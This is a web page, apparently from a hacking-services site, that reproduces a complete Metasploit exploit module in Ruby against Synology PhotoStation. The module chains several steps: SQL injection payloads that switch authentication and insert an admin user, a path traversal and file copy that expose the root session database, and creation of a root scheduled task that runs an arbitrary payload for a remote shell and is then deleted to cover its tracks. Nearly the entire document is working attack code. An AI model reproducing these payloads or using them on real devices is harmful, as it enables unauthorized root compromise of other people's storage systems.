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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Synology PhotoStation Multiple Vulnerabilities",
      'Description'    => %q{
        This module exploits multiple vulnerabilities in Synology PhotoStation.
        When combined these issues can be leveraged to gain a remote root shell.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'James Bercegay',
        ],
      'References'     =>
        [
          [ 'URL', 'http://gulftech.org/' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [ ['Automatic', {}] ],
      'DisclosureDate' => '2018-01-08',
      'DefaultTarget'  => 0))

      register_options(
      [
        OptString.new('DSMPORT',   [ true,  "The default DSM port", '5000']),
      ])
  end

  def check

    res = send_request_cgi(
      {
        'uri'       =>  '/photo/include/blog/label.php',
        'method'    => 'POST',
        'vars_post' =>
          {
            'action' =>'get_article_label',
            'article_id' => "1; SELECT user; -- "
          },
      })

    if res and res.body =~ /PhotoStation/
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit

  rnum = rand(1000)
  rstr = Rex::Text.rand_text_alpha(10)  

  uuid = rnum # User ID
  upwd = rstr # User Password
  uusr = rstr # User name
  
  vol1 = '/volume1'
  audb = '/usr/syno/etc/private/session/current.users'

###########################################################################
# STEP 00: Force PhotoStation to NOT use DSM for the authentication system
###########################################################################

    print_status("Switching authentication system to PhotoStation via SQL Injection")

    res = send_request_cgi(
      {
        'uri'       =>  '/photo/include/blog/label.php',
        'method'    => 'POST',
        'vars_post' =>
          {
            'action' =>'get_article_label',
            'article_id' => "1; UPDATE photo_config SET config_value=0 WHERE config_key='account_system'; -- "
          },
      })

###########################################################################
# STEP 01: Create an admin user
###########################################################################

    print_status("Creating admin user: #{uusr} => #{upwd}")

    # Password hash
    umd5 = Rex::Text.md5(upwd)

    res = send_request_cgi(
      {
        'uri'       =>  '/photo/include/blog/label.php',
        'method'    => 'POST',
        'vars_post' =>
          {
            'action' =>'get_article_label',
            'article_id' => "1; INSERT INTO photo_user (userid, username, password, admin) VALUES (#{uuid}, '#{uusr}', '#{umd5}', TRUE); -- "
          },
      })

###########################################################################
# STEP 02: Authenticate and store session identifier
###########################################################################

    print_status("Authenticating as admin user: #{uusr}")

    res = send_request_cgi(
      {
        'uri'       =>  '/photo/webapi/auth.php',
        'method'    => 'POST',
        'vars_post' =>
          {
            'api' =>'SYNO.PhotoStation.Auth',
            'method' => 'login',
            'version' =>'1',
            'username' => uusr,
            'password' => upwd,
            'enable_syno_token' => 'TRUE',

          },
      })

    if not res or not res.headers or not res.headers['Set-Cookie']
      print_error("Unable to retrieve session identifier! Aborting ...")
      return
    end

  uckv =  res.headers['Set-Cookie']
  psid = /PHPSESSID=([a-z0-9]+);/.match(uckv)[1]

  print_status("Got PHP Session ID: #{psid}")

###########################################################################
# STEP 03: Delete any existing path names used from the database
###########################################################################

  print_status("Making sure there are no duplicate path index conflicts ...")

    res = send_request_cgi(
      {
        'uri'       =>  '/photo/include/blog/label.php',
        'method'    => 'POST',
        'vars_post' =>
          {
            'action' =>'get_article_label',
            'article_id' => "1; DELETE FROM video WHERE path='#{audb}'; -- "
          },
      })

    res = send_request_cgi(
      {
        'uri'       =>  '/photo/include/blog/label.php',
        'method'    => 'POST',
        'vars_post' =>
          {
            'action' =>'get_article_label',
            'article_id' => "1; DELETE FROM video WHERE path='#{vol1}/photo///current.users'; -- "
          },
      })

###########################################################################
# STEP 04: Create a record for our malicious path in the database
###########################################################################

  print_status("Creating video record with bad 'path' data via SQL injection")

    res = send_request_cgi(
      {
        'uri'       =>  '/photo/include/blog/label.php',
        'method'    => 'POST',
        'vars_post' =>
          {
            'action' =>'get_article_label',
            'article_id' => "1; INSERT INTO video (id, path, title, container_type) VALUES (#{rnum}, '#{audb}', '#{rstr}', '#{rstr}'); -- "
          },
      })

###########################################################################
# STEP 05: Copy session database as root, to the web directory for reading
###########################################################################

  print_status("Making a copy of the session db as root via synophotoio")

    res = send_request_cgi(
      {
        'uri'       =>  '/photo/include/photo/album_util.php',
        'method'    => 'POST',
        'vars_post' =>
          {
            'action' =>'copy_items',
            'destination' => '2f', 
            'video_list' => rnum
          },
        'cookie' => uckv
      })

###########################################################################
# STEP 06: Move the session db copy to the web root for retrieval
###########################################################################

  print_status("Moving session db to webroot for retrieval")

    res = send_request_cgi(
      {
        'uri'       =>  '/photo/include/file_upload.php',
        'method'    => 'POST',
        'vars_get' =>
        {
          # /../@appstore/PhotoStation/photo/
            'dir' =>'2f2e2e2f4061707073746f72652f50686f746f53746174696f6e2f70686f746f2f',
            'name' => "2f",
            'fname' => "#{rstr}",
            'sid' => "#{psid}",
            'action' => 'aviary_add',
        },
        'vars_post' =>
          {
            'url' => 'file://' + vol1 + '/photo/current.users'
          },
        'cookie' => uckv
      })

###########################################################################
# STEP 07: Retrieve and read the session db
###########################################################################

  print_status("Attempting to read session db")

    res = send_request_cgi(
      {
        'uri'       =>  "/photo/#{rstr}.jpg",
        'method'    => 'GET'
      })

    if not res or not res.body
      print_error("Unable to retrieve session file! Aborting ...")
      return
    end

    host = /"host": "([^"]+)"/.match(res.body)[1]
    sess = /"id": "([^"]+)"/.match(res.body)[1]
    syno = /"synotoken": "([^"]+)"/.match(res.body)[1]

    print_status("Extracted admin session: #{sess} @ #{host}")

###########################################################################
# STEP 08: Registering files for cleanup
###########################################################################

    # Uncomment for cleanup functionality
    # register_files_for_cleanup("#{vol1}/photo/current.users")
    # register_files_for_cleanup("#{vol1}/@appstore/PhotoStation/photo/#{rstr}.jpg")

###########################################################################
# STEP 09: Create a task containing our payload
###########################################################################

  print_status("Creating privileged task to run as root")

  # Switch to DSM port from here on out
  datastore['RPORT'] = datastore['DSMPORT']

    res = send_request_cgi(
      {
        'uri'       =>  '/webapi/entry.cgi',
        'headers' => 
        { 
          'X-SYNO-TOKEN' => syno, 
          'Client-IP' => host 
        },
        'method'    => 'POST',
        'vars_post' =>
          {
            'name' => '"whatevs"',
            'owner' => '"root"',
            'enable' => 'true',
            'schedule' =>'{"date_type":0,"week_day":"0,1,2,3,4,5,6","hour":0,"minute":0,"repeat_hour":0,"repeat_min":0,"last_work_hour":0,"repeat_min_store_config":[1,5,10,15,20,30],"repeat_hour_store_config":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23]}',
            'extra' => '{"notify_enable":false,"script":"' + payload.encoded.gsub(/"/,'\"') + '","notify_mail":"","notify_if_error":false}',
            'type' => '"script"',
            'api' => 'SYNO.Core.TaskScheduler',
            'method' => 'create',
            'version' => '2',

          },
        'cookie' => "id=#{sess}"
      })

    if not res or not res.body
      print_error("Unable to create task! Aborting ...")
      return
    end

    task = /{"id"\d+)},"success":true}/.match(res.body)[1]

    print_status("Task created successfully: ID => #{task}")

###########################################################################
# STEP 10: Execute the selected payload
###########################################################################

  print_status("Running selected task as root. Get ready for shell!")

    res = send_request_cgi(
      {
        'uri'       =>  '/webapi/entry.cgi',
        'headers' => 
        { 
          'X-SYNO-TOKEN' => syno, 
          'Client-IP' => host 
        },
        'method'    => 'POST',
        'vars_post' =>
          {
      'stop_when_error' => 'false',
      'mode' => '"sequential"',
      'compound' => '[{"api":"SYNO.Core.TaskScheduler","method":"run","version":1,"task":[' + task + ']}]',
      'api' => 'SYNO.Entry.Request',
      'method' => 'request',
      'version' => '1'
          },
        'cookie' => "id=#{sess}"
      })

###########################################################################
# STEP 11: Delete payload task from scheduler
###########################################################################

  print_status("Deleting malicious task from task scheduler")

    res = send_request_cgi(
      {
        'uri'       =>  '/webapi/entry.cgi',
        'headers' => 
        { 
          'X-SYNO-TOKEN' => syno, 
          'Client-IP' => host 
        },
        'method'    => 'POST',
        'vars_post' =>
          {
      'stop_when_error' => 'false',
      'mode' => '"sequential"',
      'compound' => '[{"api":"SYNO.Core.TaskScheduler","method":"delete","version":1,"task":[' + task + ']}]',
      'api' => 'SYNO.Entry.Request',
      'method' => 'request',
      'version' => '1'
          },
        'cookie' => "id=#{sess}"
      })

    end
end